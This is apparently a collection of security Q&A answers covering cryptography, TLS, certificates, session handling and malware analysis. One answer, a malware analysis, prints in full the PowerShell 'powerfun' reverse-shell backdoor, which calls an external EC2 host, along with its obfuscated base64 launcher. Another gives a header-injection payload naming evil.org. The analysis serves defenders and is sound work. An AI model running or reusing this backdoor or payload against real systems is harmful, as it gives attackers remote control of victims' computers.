Infinite one time pads, brute force multiple pads?

Quite simply, it's exactly the same as a two-time pad with one extra step.

So, as you know the problem with re-using a one time pad is that it leaks information.

If we encrypt m1 and m2 with pad1, that gives us:

m1 xor pad1 = c1
and
m2 xor pad1 = c2

So if we capture c1 and c2, we can then:

c1 xor c2 to get m1 xor m2

If however, we re-use pad1 to transmit pad2, and then use pad2 to encrypt m2, we get the following:

m1 xor pad1 = c1
pad2 xor pad1 = c2
m2 xor pad2 = c3

So now, as long as I capture c1, c2, and c3, I can do the following:

c1 xor c2 = m1 xor pad2

Which effectively gives me the ciphertext I would have if I had used pad2 on m1 directly. So now I effectively have the ciphertexts for:

m1 xor pad2 and m2 xor pad2

Which when xor'ed then gives me:

m1 xor m2

Voila.


Can a rogue app hijack an ssl session of another app on the same phone?

It would be possible. The app could act as a ssl proxy. For example if you were to browse to google.com the ssl proxy app would retrieve googles ssl cert. The ssl proxy would then supply you with it's own generated ca certificate. This would generate a ssl warning in your browser. However if the app installed that it's own generated ca certificate to trusted root certificates it would display no ssl error. Therefore you would not detect your connection being hijacked. As for documented cases I haven't seen anything like this. I don't know enough about the android OS to prevent this but I'm sure there would be ways.


I use HTTP response header splitting as an example below, but the solution at the end works equally well when the injection is into the response content body.

For example, an attacker supplies an input

/
Access-Control-Allow-Origin: evil.org

and then the server uses that input to generate headers

response.setHeader("Location", input)

which results in the headers

 Location: /
 Access-Control-Allow-Origin: evil.org

One solution is to carefully check all code that specifies headers and make sure it does not use unfiltered/untrusted inputs to generate the headers.  This is error-prone, time consuming, and is not guaranteed to hold under maintenance.

A more robust solution is to use library methods like response.setHeader that refuse inputs that contain newlines.  If response.setHeader did

 void setHeader(String name, String value) {
   if (!(match(name,  "^[A-Za-z\\-]*\\z") &&
         match(value, "[^\u0020\u0021-\u0023-\u007f]*"))) {
     throw ...;
   }
   ...
 }

then an attacker might be able to deny service, but would not be able to split headers, and your logs would contain traces pointing to the problematic setHeader call.

If you're using a framework, often you can wrap your response objects so that the header methods do this.


What is the difference between digital notary and certification authority?

A certificate authority will generally only sign certificates of identity containing public keys in a format intended to be interpreted primarily by machines.  A digital notary or eNotary uses digital signature technology to notarize documents where the contents are intended to be interpreted by humans.  That may include notarizing of digital identity documents eg a PDF image of your passport.  While A CA might issue PDF-signing certificates they won't sign PDFs themselves in their capacity as CAs only identity documents for those who do sign PDFs.


Breaking encryption with hash value of password?

A hash isn't used in encryption.  A key derivation function is used to turn a password in to a key and that key is used for decryption, not stored.  There should be no password hash.  Password hashes are stored for purposes of authentication where a password has to be compared to a previous input without the server knowing what the previous input was.


How to select the correct Exploit and payload? (msfconsole)

Well, the server you're scanning, is it a package made to contain known vulnerabilities? Because looking at the versions of the services, I don't see anything vulnerable standing out... The fact that you have a lot of vulnerabilities for apache http does not mean that the particular version of apache httpd that you have there is vulnerable.

A good place to check what vulnerabilities exist for a specific version of an application is https://www.cvedetails.com.

Edit: The cvedetails link shows a number of low-risk vulnerabilities, none of which are proven to provide arbitrary code execution.


SSL warnings while using Origin Certificate on my VPS

CloudFlare's Origin CA is working as intended. It's not trusted by browsers. It's only trusted by CloudFlare's servers. Its purpose is to secure communications between CloudFlare and your origin, not for general usage.

Reference: Introducing CloudFlare Origin CA

If you want a free, publicly trusted certificate, check out Let's Encrypt. (It's a legitimate and widely-used CA.  It's a non-profit founded by the EFF, Mozilla, and several universities and Internet companies.)


Can a BIOS password along with a HDD password prevent evil maid attacks?

If an attacker has complete physical access, they could take out your drive, and from another computer, remove the password and access the drive; the ATA password spec may prevent BIOSes from allowing drive access, but there are readily available tools that can simply remove this protection. Even if this feature actually protected the drive, the drive's firmware could be tampered with or replaced, or perhaps the adversary could go to the trouble of putting the disk platters into another drive that is not locked.
Even if they couldn't get the drive to work, maybe they could find a way to install malware into the UEFI/BIOS, or install some hardware keylogger that allows them to enter your passwords at a later time.
To summarize, while this may be effective against a casual intruder, someone with enough time, equipment, and expertise will not be stopped by these protections.


Someone logged in server through ssh using my RSA key

I suspect your key are affected by the issue of weak keys, that was generated using the process ID as seed:
https://github.com/g0tmi1k/debian-ssh

Note that this are only dependent on which machine you generated your keys on, NOT the SSH'ed machine.

There is then a possibility that the attacker predicted your key.
Thats why I suggest regenerating the keys, using a debian version where this issue has been fixed, and then replacing the keys in your VPS.


Does this mean Target's twitter was successfully attacked?

Yes, Target did have their account hacked. In fact, quite a lot of verified account holders have been hacked to further this scam. The scammers do this to impersonate other accounts, including Elon Musk's, by changing their name while retaining their verified status. In this case, it just looks like the scammer is using Target's account directly. This scam has made the hackers over $150,000.

The Elon Musk scam is the most well-known now, but it appears Target was caught as well.


Security of rails user access/permissions plugins

From the Ruby on Rails security Guide as long as you're using the reset_session command during the authentication process, you should be mitigating against session fixation attacks.  In general with a rails app. if you're only creating the session when the user logs in and you're issuing a new Session ID at that point, you shouldn't have too many problems with session fixation.


Signing webhooks with JWT -- overkill with TLS?

It depends.

Most regular HTTPS connection are only authenticated for a single side (usually the server), mutual authentication is much less common. When there is only single side authentication, JWT signing can be used to authenticate the other side. If your TLS connection is already mutually authenticated using both Client and Server Certificate, then JWT signing may be redundant.

One case where JWT signing may not be redundant even if you already use mutually authentication is if the recipient needs to save the request and signature to allow an independent third party (e.g. regulators) to be able to audit that you were really the one that made the request (though for this case, you're going to need asymmetric signature rather than preshared key signature).


How can I convert a Windows certificate into a PEM format, that includes the chain + root?

Specifying openssl pkcs12 -nokeys -clcerts says to NOT output any chain certs. If the chain certs are present in the PKCS12, omit -clcerts to include them in the PEM output. They will be present in the PKCS12 if you create it with Windows Export Wizard and check Include all certificates in the certification path if possible, which is not the default (on my systems at least). This will (normally? always?) include the root, although something impersonating this subject in SSL/TLS -- which I presume is what your Ironport does -- doesn't actually need the root, only the chain below the root. (Technically it might need even less, depending on caching and presence of, support for, and success of AIA, but that gets too complicated.)

Note that PEM-format certs output from pkcs12 -nokeys includes a few lines of info before each ----BEGIN/blob/-----END block. This is a minor extension to PEM implemented by OpenSSL but not everybody else. If the Ironport is actually calling OpenSSL, and many programs that require PEM do so because they are calling OpenSSL, that's okay. If not, and Ironport is doing its own or some other strict PEM implementation, edit the file to delete the comments.

Also, there is no need to create the privatekey encrypted and then decrypt it. It is generally best to encrypt the privatekey, but apparently you need it unencrypted, so you can just use openssl pkcs12 -nocerts -nodes with suitable in and out. Unless whatever instructions you are quoting actually mean but don't say it needs unencrypted "traditional" format (raw PKCS1 rather than PKCS8). For that you must either use OpenSSL 0.9.8* (which is way old, but still supported as of now) where pkcs12 (import) writes the privatekey in traditional format, or with newer OpenSSL let pkcs12 (import) write PKCS8 and then convert to traditional with rsa but even then you can have the PKCS8 and the traditional both unencrypted.

Finally for clarity, P7B contains only certs not privatekey and so is not sufficient to impersonate the subject. The other choices in the Export Wizard are not simply DER and Base-64, which have many other options and uses, but DER or Base-64 (actually PEM) encoding of X.509 cert specifically; those don't contain either the chain or the privatekey and are even more insufficient.


What are the security implications of 'open-source' vs. 'source-available'?

Source-available (SA) differs from true open-source (OS) that there is no right to fork. That means when a security flaw in a SA software gets known and the developers refuse to fix it (which doesn't have to be out of bad intentions - it could just be lack of resources), users do not have the option to fork the project and continue the project under a new name with a new team.

However, should a flaw in a SA project be discovered and made public, continuous refusal to fix would hurt the reputation of a SA project badly and drive users away from it.

Some OS proponents claim that the ability of everyone to offer a patch for a OS project results in faster bugfixes. However, this only applies to a part of OS projects: Those which follow the Bazaar development model and not the Cathedral model. There are many OS projects which do not accept unsolicited contributions from 3rd parties. A bugfix could still be offered independently so users can apply it manually, but that's a maintenance overhead many administrators and users shy away from.

And forking a project because of a single issue is usually more trouble than its worth. I witnessed several forks of open source projects as part of either side of the fork. The result was always that it hurt the overall progress of both forks because development resources got diluted, infrastructure and management structures had to be duplicated and users got confused. Trying to hold a project together despite any conflicts usually pays off.


A simple example for showing the use of Data Execution Prevention (DEP) security feature

Hardware DEP takes advantage of the NX ("No Execute page protection",
  AMD specification) or XD ("Execute Disable", Intel specification) bit
  on DEP compatible CPU’s, and will mark certain parts of the memory
  (which should only contain data, such as the default heap, stack,
  memory pools) as non-executable.

  When an attempt is made to execute code from a DEP protected data
  page, an access violation (STATUS_ACCESS_VIOLATION (0xc0000005)) will
  occur. In most cases, this will result in process termination
  (unhandled exception).  As a result of this, when a developer decided
  he wants to allow code to run from a certain memory page, he will have
  to allocate the memory and mark it as executable.

  http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#hwdep

When you're trying to redirect code flow through a buffer overflow exploit, etc you want to redirect the flow to a custom shellcode/payload that will give you remote access, etc to the victim computer.

We do this by re-writing registers like EIP(Extended Instruction Pointer), ESP(Extended Stack Pointer), etc. By this technology we attempt to prevent redirecting code flow to unauthorized memory locations. Hence in order to invoke the shell, we'd need to get past the access violation in theory.

Essentially programmers have to specify memory locations that can have  executable code, the other locations have non-executable data on invoking which causes an access violation exception.

Read more about its technicalities here: http://msdn.microsoft.com/en-us/library/bb736299(VS.85).aspx


Great Firewall of China and simple SSL connection

I'm not sure you can have any real assurances here because the issue isn't just
the firewall. The real problem is that your dealing with an environment which is
heavily controlled at all layers and the firewall is just one component. It is
quite likely the firewall may simply block connections which it cannot inspect
or has any concern over, but it is probably even more likely that they could
insist clients download and install a government certificate which they could
use in a 'Comodo Style' MItM scenario.

My guess would be that it will depend on whether your connections are actually
noticed and considered to be of any real concern. When you consider the size of
population your dealing with and the amount of data/connections the government
would need to monitor, it is likely that unless something brings what you are
doing tot he attention of the right people, your scheme would be reasonably
secure. However if and when your connections are noticed and there is a desire
to look more closely, then all bets are off.

In an environment where one authority has control over all layers of the
network and can likely insist on clients installing or performing some action
before they are even allowed network access, I think you have little hope of
being able to secure the connection. If the government wants to see it, they
will be able to find a way.

The real question will be down to what the expected level of interest is. Even
the Chinese government has limited resources. At some level a decision has to be
made on what will get the most results for the resources they have. If you were
talking about some service which was going to be used by a large sector of the
population and it was felt that use was going to be detrimental to the ruling
power and that power controls all the infrastructure, you can be pretty certain
they will find a way to access the data. On the other hand, if this is something
only used by a small number of people or if the use is deemed to be of low
threat, then it is likely they would do nothing.

It all really comes down to a risk/benefit analysis from both sides. The real
problem is that one side controls all the client side infrastructure. if they
want in, they will find a way.


Microsoft Bitlocker Decryption interrupted. Cannot decrypt again

If you have recovery key for the bitlocker volume, try using that. It is possible the header was damaged. If you don't, there is no simple way to recover the data and it is likely gone.


Short version
The attacker is able to run any PowerShell commands on your machine and can be found by getting the owner of "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com".
Long version
I dumped the binary array into a file and uploaded it to VirusTotal.
The newly launched file seems like an additional stage to me since it is really small (1.7 kb) and will be executed for 10 seconds only since it will be bound to PowerShell (since the attacker creates a thread instead of launching it as a separate process) and the termination is delayed by 10 secs at the last command.
Update: I'm sadly unable to reverse-engineer assembly, but a quick look at the file using a text editor revealed the following string:
powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(
'A really long base64 full code can be found below'));
IEX (New-Object IO.StreamReader(
New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

However, this stage also utilities GZIP as an additional obfuscation layer to Base64, but still can be dumped to:
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    )
    Process {
    $modules = @()
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]9999
        $listener.start()
        $client = $listener.AcceptTcpClient()
    }
    if ($Command -eq "reverse")
    {
    $client = New-Object  System.Net.Sockets.TCPClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com",9999)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true")
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com")
        $stream = $sslStream
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

This is a rather simple PowerShell backdoor which is connecting to a server and then allows the attacker to remotely run PowerShell commands on your machine. This "powerfun" script can be found on GitHub by googling two seconds so I won't link it here to not stretch the anti-spam limits. However, by comparing it to the original script, you'll quickly notice that the attacker changed the remote server address to "ec2-54-169-248-105.ap-southeast-1.compute.amazonaws.com" and the port to 9999, so it should be easy to track the attacker if needed.
Finally: The server is still listening to that port, so the attacker is
able to control your computer!


What are valid OpenPGP revocation signature types?

OpenPGP Signature Types for Revocations

All OpenPGP signature packets and their meanings are described in RFC 4880, section 5.2 (signature packet), which is the resource you already seem to have found. The relevant signature types are 0x20, 0x28 and 0x30:

   0x20: Key revocation signature
       The signature is calculated directly on the key being revoked.  A
       revoked key is not to be used.  Only revocation signatures by the
       key being revoked, or by an authorized revocation key, should be
       considered valid revocation signatures.

   0x28: Subkey revocation signature
       The signature is calculated directly on the subkey being revoked.
       A revoked subkey is not to be used.  Only revocation signatures
       by the top-level signature key that is bound to this subkey, or
       by an authorized revocation key, should be considered valid
       revocation signatures.

   0x30: Certification revocation signature
       This signature revokes an earlier User ID certification signature
       (signature class 0x10 through 0x13) or direct-key signature
       (0x1F).  It should be issued by the same key that issued the
       revoked signature or an authorized revocation key.  The signature
       is computed over the same data as the certificate that it
       revokes, and should have a later creation date than that
       certificate.

Signature Type 0x32

A signature types 0x32 is not defined. OpenPGP key servers might contain wrong (and even illegitimate) data, they to not verify it (thoroughfully): this is task of an OpenPGP client. Regarding especially the value 32 as a decimal number, which is exactly 0x20, wrong encoding the signature type magic constant seems not beyond imagination. Do revocations with type 0x32 have anything in common?


Storing users cookies in a database on a server

Is it secure?

If the phone->server connection is not encrypted, then those session cookies can be sniffed. If your server->website connection is not encrypted, then those session cookies can be sniffed.

If cookies can be retrieved by the phone, then an attacker could pose as that phone by sending the same device token and get the cookies back, then hijack that user's session.

And finally, if the cookies are not encrypted in the table and somebody is able to steal the contents of that table, then they can hijack all of your users' sessions at once!

Is it morally okay?

Not unless you explain to the user what you are doing and what the risks are.

By copying a user's cookies and sending them to a target website, you are posing as that user. You could (or anybody else who was able to steal those cookies) hijack that user's session and do nefarious things.

It really depends what that "target" website is. If it's a bank, then this is definitely a bad idea. If it's reddit.com, then this may be reasonable.


Does the device you are logging into count as one of the factors for MFA when you are using device biometrics?

I would say no.

To quote StackOverflow:

  Authentication is the process of ascertaining that somebody really is who he claims to be.

Only by posessing the phone I cannot be sure that you are who you claim to be.


Why is the SSL handshake not shown in Wireshark?

To really know what is happening, you should not set your Linux machine as a proxy but as a router. The "proxy" really is an HTTP proxy. Applications which want to do HTTPS (HTTP-within-SSL) may use the system settings and use a CONNECT method to make your proxy forward the traffic in both directions; but they may also connect directly to the serve, completely ignoring your proxy setting. Applications which want to use SSL but not HTTPS (they do "something else" than HTTP within the SSL tunnel) are unlikely to use your proxy at all.

I suppose that this is what you observe: with your HTTP proxy, you only see part of the communications, and not the parts that you are interested in.

A typical low-tech Man-in-the-Middle will setup a fake WiFi access point, which will be the router for all IP packets exchanged by the cell phone. This is both easier for him than trying to convince you to use a custom HTTP proxy, and it gives him more actual attacking power.


Varnish non-https connection back-end server

If Varnish_VPS and LAMP_VPS are not in the same trusted network, you need encryption (and authentication) between both. If you don't, other users on the network of either cloud provider can sniff or manipulate your data.

There are a couple of ways you can do this:

HTTPS - could be self-signed, because you have full control over the client (Varnish).
VPN - this makes it seem that the servers are both in the same network, which is useful for other data besides HTTP.
SSH tunnel - a poor man's VPN. This could be fragile because it is not really meant for permanent use.


Is RSA usage in combination with Java Socket secure?

... it is safe to send all kind of data between server and client?

No. You just blindly assumed that you've send your key to the right server and that you get a key from the right server back. But it could have been actually some man in the middle, you simply don't know.

  Or is it smart to create a SSLSocket?

Much better. This is using an established standard where lots of experts had a closer look at. Don't run your own crypto.

  I honestly have no idea how the authentication with the certificats work ...

So you think you are better at designing something yourself when you don't even have an idea how established secure communication methods work and why specific security related design decisions were made? Unlikely that this will actually result in something secure.

  ... and I also do not want to have a certificate which needs an update every now and then.

TLS is not actually tied to certificates but it scales much better with publicly issued certificates since it can derive trust relationships from this instead of just blindly hoping that no attacker is there when exchanging the key as you do.

For comparison just rephrase your question in the context of health: would you recommend to design your own medicine with practically no understanding of how this stuff works or would it be better to rely on established methods even if they require that you visit the doctor from time to time?


What are the potential risks of performing DNS queries on unknown domains?

Remember back when CVE-2015-7547 was disclosed by Google and RedHat? It was a high risk DNS security flaw that had gone undetected for years. It is unclear whether the issue had been exploited "in the wild" before then. DNS flaws are a real issue and you should consider it when querying random domain names.

When investigating suspicious domain names such as phishing and malware load them in a Virtual Machine - there is always the risk that untrusted code / data might compromise your system - consider your threat model and protect against it - let it be a throw-away one rather than your primary one.

Hope this helps :)


Using (cat $file; cat) to run a simple BOF exploit

The first cat command feeds the input from in.txt to stdin of the program. The second cat command just reads from the current stdin and feeds it to the program, thus providing the one executing this command line with a way to feed its own data from the terminal to the program and this way probably to some /bin/sh or similar executed from this program.

Contrary to this just using program < in.txt just feeds the in.txt to the stdin of the program and after this stdin of the program gets closed. This means that no user input from the terminal is fed to the program and to the shell running inside it.


Crack 512-bit RSA encrypted messages without a private key?

512 bit RSA was factored in 1999 with pretty advanced specialized hardware. It took 6 months. It should be much easier (though not trivial) today with modern PCs.

From Wikipedia

  In 2009, Benjamin Moody factored an RSA-512 bit key in 73 days using only public software (GGNFS) and his desktop computer (dual-core Athlon64 at 1,900 MHz). Just under 5 gigabytes of disk was required and about 2.5 gigabytes of RAM for the sieving process.

That was about 7 years ago. Going by those stats, I am guessing a few modern desktop computers with intel i7 chips  working together would factor 512-bit RSA within days or weeks. I doubt you can do it in a couple of hours though.


In these cases if you have a file you wish to analyze saved. The kind of information i think you are looking for comes from reverse engineering.

first things first, you can download sysinternalssuite from a great guy at microsoft who released a series of tools for quick and dirty sysadmin tasks.

https://technet.microsoft.com/en-us/sysinternals/bb842062

most relevant to your case (which is i guess malware analysis) are the following tools specifically:

procmon - shows live changes to the system and what started them
tcpview - shows all tcp connections, where theyre from, where theyre going, and status
Sysmon - get some early boot logging going.
procexp - this will show a detailed version of task manager, with stress values and child processes all in one. one of my favorites for malware.

so the idea here is you will create a VM with the same OS (if possible) as your client computer. and let this thing loose inside it.

before you begin, you install the vm, no virus software, and get the sysinternals tools.

also you want some form of reverse engineering debugger.

IDA - the king of this area, very feature rich, they have a free version, but its older
ollydb - a free debugger with less features, but still does the job well
immunity db - similar to ollydb

these programs will show you the machine code of whatever file you attach them to. you can even step through the execution of the malware one code line at a time.

Basic methodology is as follows:

allow the malware to run wild by itself and use sysinternals to gather some information on the malware and what its doing where in the system, where it tries to connect to, and what kind of processes it creates.
attach a debugger to the malware and run: there will be alot of information, this is why the recon phase is so important, it narrows the scope of what you are looking for. you use this information to try to find the specific areas in the malware that are of particular interest. i.e. copying itself, changing system registries or files, making services on the pc, opening ports etc...

this is a basic overview of how analysis of a black box is done (black box = unknown entity). any additional information also helps this process, knowing the exact malware type also helps you know where to look with these tools for specifics. since those heuristics are already known they should be able to give you search material to find more information on where to look.


Common Criteria is an international standard for evaluating the security of a software artifact. Depending on the exact level (EAL) of CC that is being used, this can include information about processes used during software development as well as testing of some of the security aspects of the software.

Because software systems are so complex, it is not always possible to validate it in entirety. As such, only a portion of a system may be targeted for evaluation. This portion is called the Target of Evaluation or TOE.

CC only provides general guidelines as to what is important to monitor during development and testing. Each type of software product can have specific requirements. Protection Profiles (PPs) are an agreed upon set of requirements for a specific type of software and EAL. For example, there could be a PP for a web server for EAL 1, 2, 3, etc... For each EAL, it will specify required features, documentation, and testing that the TOE must meet in order to achieve that EAL.

A security target (ST) specifies the expected functionality of the application. For example, if you have a web app, it may be expected to meet some or all of the requirements for a web server PP, a database PP, and some product-specific requirements as well.


Exporting a JKS entry to X509 certificate - why public key differs?

What is shown is not the raw key bytes only but the key inside a specific container. There are various containers for an RSA key. To reproduce it on the command line:
# extract the certificate from the JKS
$ keytool -export -keystore test.jks -alias mycert -file test.cer

# extract the public key from the certificate
$ openssl x509 -in test.cer -inform der -pubkey -out pubkey.pem -noout

# show the bytes of the pubkey in the RSA specific container
$ openssl rsa -pubin  -in pubkey.pem -RSAPublicKey_out -outform der | xxd
writing RSA key
00000000: 3082 010a 0282 0101 00bb be14 4111 577f  0...........A.W.
...

# show the bytes of the pubkey in the more generic container suitable for various kinds of keys
$ openssl rsa -pubin  -in pubkey.pem  -outform der | xxd
writing RSA key
00000000: 3082 0122 300d 0609 2a86 4886 f70d 0101  0.."0...*.H.....
00000010: 0105 0003 8201 0f00 3082 010a 0282 0101  ........0.......
...

As you can see, the output in the RSA specific container reflects what you see in your second output while the output in the more generic container reflects what you see in your first output. Thus it is just a difference in displaying the same key.
You could also see that the length of the keys differs. This is because the more generic container has more information inside. If you look closer you could actually see in the second line of the second output the start of the "inner" container which is exactly the output in the RSA specific format.
00000010: 0105 0003 8201 0f00 3082 010a 0282 0101  ........0.......
                              ^^^^^^^^^^^^^^^^^^^


The general way is appending CSRF protection tokens to the input and comparing them on each request, Apache in its configuration is not capable of storing session data about users, so it wont be able to evaluate the authority of requests. Thus, Apache modules for CSRF protection don't exist. This is the job of your web application.

Edit: there are some scratches online like this, called mod_csrf, but it's not really an apache mod in its traditional meaning. (You have to copy files to the webroot)


Can my ISP see my new IP when I am connected to VPN?

The entire idea of gateway tunneling (over VPN in your case) is that any traffic flowing through the VPN is only visible to you. Hereby I'd assume the 'new IP' is nothing more than a temporary ip to exit the remote site towards the internet.

On the other hand you're ISP can always see where the VPN connection is going to, since there needs to be some sort of connection in order to tunnel traffic.


Certificate and public key flows in mutual TLS

As client you can registrate those certificates during OAuths Dynamic Client Registration:

Registration requests
send a set of desired client metadata values to the authorization
server.  The resulting registration responses return a client
identifier to use at the authorization server and the client metadata
values registered for the client.  The client can then use this
registration information to communicate with the authorization server
using the OAuth 2.0 protocol.

The metadata that need to be registrated at the authorization server are specified in the OAuth mTLS RFC in:

Section 2.1.2. for the PKI Method
Section 2.2.2. for the Selfsigned Certificate Method


Detecting end-state of decryption process with unknown key

In theory you don't know.

But in practice you have some idea about what the data is or how it's structured. Perhaps because you know it's, say HTTP traffic, or because you know it's an encrypted .DOCX or .PDF file, or somesuch, or you are aware of some other properties of the plaintext (e.g. perhaps you might know that the plaintext is a binary blob followed by its 512-bit SHA-512 hash).

And even if you don't have any of the above, you can still try and make an educated guess on whether the resulting decrypted blob is correct by a statistical analysis.

Homework assignment: You may want to think of how this question applies to XORing a data stream with a one-time pad, and why that method is secure.


What are the main differences between the network-level and the application-level regarding information security?

A simple way to think of it is in terms of devices you have in your kitchen; microwave, toaster, blender. The "network level" is the connection. Perhaps the electricity powering the devices in our example. The "application level" is specific to the thing, perhaps it involves what you put into the device or the buttons you press.

So in our example, a "network level attack" would be something like cutting the power or sending the wrong voltage. An "application level attack" would be something like putting tinfoil in the microwave.

If our device was a webserver, an application level attack would be something like SQL injection. A network-level attack would be something like a ARP-poisoning.

Often the distinction doesn't fall directly along those lines, and people are fond of the "Standard OSI Model" of network abstraction when describing behavior.

The OSI model describes the connection, so it's technically "network" either way. But it's often helpful to talk about certain aspects of the network, rather than just treating it as an opaque thing.

In that model, the application (HTTP, FTP, SMTP, IRC) is layer 7 (and sometimes 6, the OSI model doesn't directly map too real-world implementation). It's the language your programs speak once a connection is established. An attack on this layer might involve flooding buffers or authentication bypass.

Layers 2 or 3 through 5 or 6 describe getting the data successfully across the Internet. It involves IP, TCP, SSL, and all the fundamental bits that we normally describe as "the network". An attack here might involve replaying packets, redirecting traffic, or attacking stream encryption.

Layers 1 and sometimes 2 describe your physical connection; 1 is the actual voltages over your ethernet cable or radio modulation over wifi or bluetooth, while 2 is the way data is encoded to get it successfully from your machine to your router. An attack at this layer could involve cutting the wire, brute-forcing WEP keys, or MITM interception of raw traffic.


On x86 processors, 64-bit mode offers significant performance benefits for some cryptographic operations, in particular asymmetric encryption and signatures; this is partly due to the bigger registers (it helps with big-integer arithmetics, and algorithms which rely on 64-bit operations) and due to the higher number of registers (that's a quirk of x86: 7 usable registers in 32-bit mode, 15 in 64-bit mode). It also gives a boost to floating-point, there again for historical reasons: a processor which knows 64-bit mode also knows SSE2, which is a set of opcodes which are more efficient for floating-point operations than the older 8087 FPU opcodes that are used in 32-bit mode.

Hence, on the x86 processors, 64-bit mode is good for performance (this performance boost more than makes up for the slight memory consumption increase due to the bigger pointers). The same would not apply on other 32/64-bit processors, e.g. PowerPC, where 32-bit mode is recommended for applicative code, except code which needs a very large address space.

OpenBSD implements ASLR. Note that ASLR is a damage-containment feature: it makes it more difficult to turn a buffer overflow into a remote shell exploit. However, the buffer overflow is still there; ASLR just means that most of the time, the attacker will "only" be able to crash the application. The benefit is, in my view, quite marginal.


Strange file named Aview.exe - WinClient

From the VT and Jotti scans you provided, they were flagged as UPX packed executables. UPX is so common that most AVs contain unpacker routines, which allow them to scan the executable as if it weren't packed. The positive result you saw was from an AV that treats packed executables as highly suspicious, which is an arguable stance to take - some use UPX to protect intellectual property, some use it to hide malware. Considering it was detected as UPX by PEiD and various other tools on VT, I'd imagine the AVs would have flagged it up as malware if it was malicious.

However, that's not to say it's definitely something you want to run on your machine. It could be a browser toolbar or other junk that you would rather avoid, and an AV wouldn't flag it as anything worth blocking. My suggestion would be to install it in a virtual machine, and see what happens.


cryptographic session token vs stored random session token

Speaking as a security consultant, yes, I would absolutely flag the second approach as a security vulnerability. A key like that is at far too much risk of an attacker finding some way to dump or otherwise determine it, and once they do that they can impersonate any user. You could make it harder through a number of tricks, but at the end of the day you're trusting the client to do session management. Don't do that, even when the info is supposed to be opaque to the client. If nothing else, the revocation is itself a good point (especially if your tokens have non-trivial lifetime).

Caching small pieces of data, like a session ID -> user ID mapping, can be done pretty easily and with minimal overhead. Adding new mappings is relatively uncommon - each session will be used many times for each time one is created - so you don't have to optimize for creation. It doesn't necessarily need to be persisted to anything; for a banking website your tokens should be very short-lived! As for "doing it right", a token of safe length (128 bits is good) from a cryptographically secure random number generator makes an excellent ID token.


Is webRTC safe against man in the middle attacks?

The answer is dependent on what "signalling server" you refer to.

WebRTC is MITM-secure against untrusted relayservers, STUN and TURN servers. Those servers only help the clients to set up a p2p connection at all.

However, the channel through which SDP is done needs to be trusted.

Unlike the relayserver, SDP carries no weight, and consists only of some strings sent by the clients for the initialisation of a connection. Those are accessible to javascript, and can be sent any way (HTTP, websockets, email) between the clients.

Therefore you should use a trusted channel for doing the SDP.

The SDP exchange carries a a=fingerprint: named hash, that authenticates the payload-bearing p2p DTLS connection to the other client. RFD 5763 contains a good description of that connection between DTLS and SDP.

You could reduce the content that needs to be trusted to this hash, but unless it serves no further purpose you are better off doing the whole SDP over a trusted channel, as you have less complexity.


Is a random work factor an increase or decrease of security?

I am going to give you two answers, neither of which are information-theoretically correct, either of which should illustrate why not to bother.

Entropy.
Basically, your scheme adds an element of randomness: between 5 and 15 hash cycles. So, any random number X such that 5 <= X <= 15... in other words, X has 11 possible random values... which gives you just over 3.5 bits of entropy.
Even if we call it 4 bits, this is really not a very substantial improvement, definitely not enough to harm UX for it.
Ergo, leave hashing dogs lie.
Attack refinement.
In your scheme, the attacker is aware of your scheme, but simply does not know how many times to cycle the hash. In other words, if he were trying to brute force your hashes, he would first have to hash it 5 times, then hash it 6 times, then maybe hash it 7 times... until worst case he has to hash it 15 times.

So? He'll just aim for hashing it 15 times, and check along the way to see if he could stop early.

What did you just do?
You gave the attacker an easy way out, if the number of cycles was anything less than the maximum.
So why not just give everybody the maximum, and prevent the shortcut?

A more information-theory correct answer might be to point at Kerckhoffs's principle, which basically states that the only secret in a cryptosystem should ever be the key (or, in this case, the password). Not the choice of algorithm, implementation details, number of rounds, etc, none of these should ever be considered secret.
But I think that's just being pedantic here.

And here's another few points to think about:

Don't roll your own.
There is a reason all cryptographers are a bunch of snobs, and it's not their special brand of coffee.
Really, don't try to create your own algorithm, protocol, password scheme, or key management procedures. You won't make it better, and you will most likely make it worse.

On the other hand - DO use what is already well-vetted and considered secure by the best of those who know. Bcrypt (and it's ilk) is pretty darn strong. Want it stronger? Use a bigger work factor. That's what it's there for.


Does a VPN Provider Know My MAC Address?

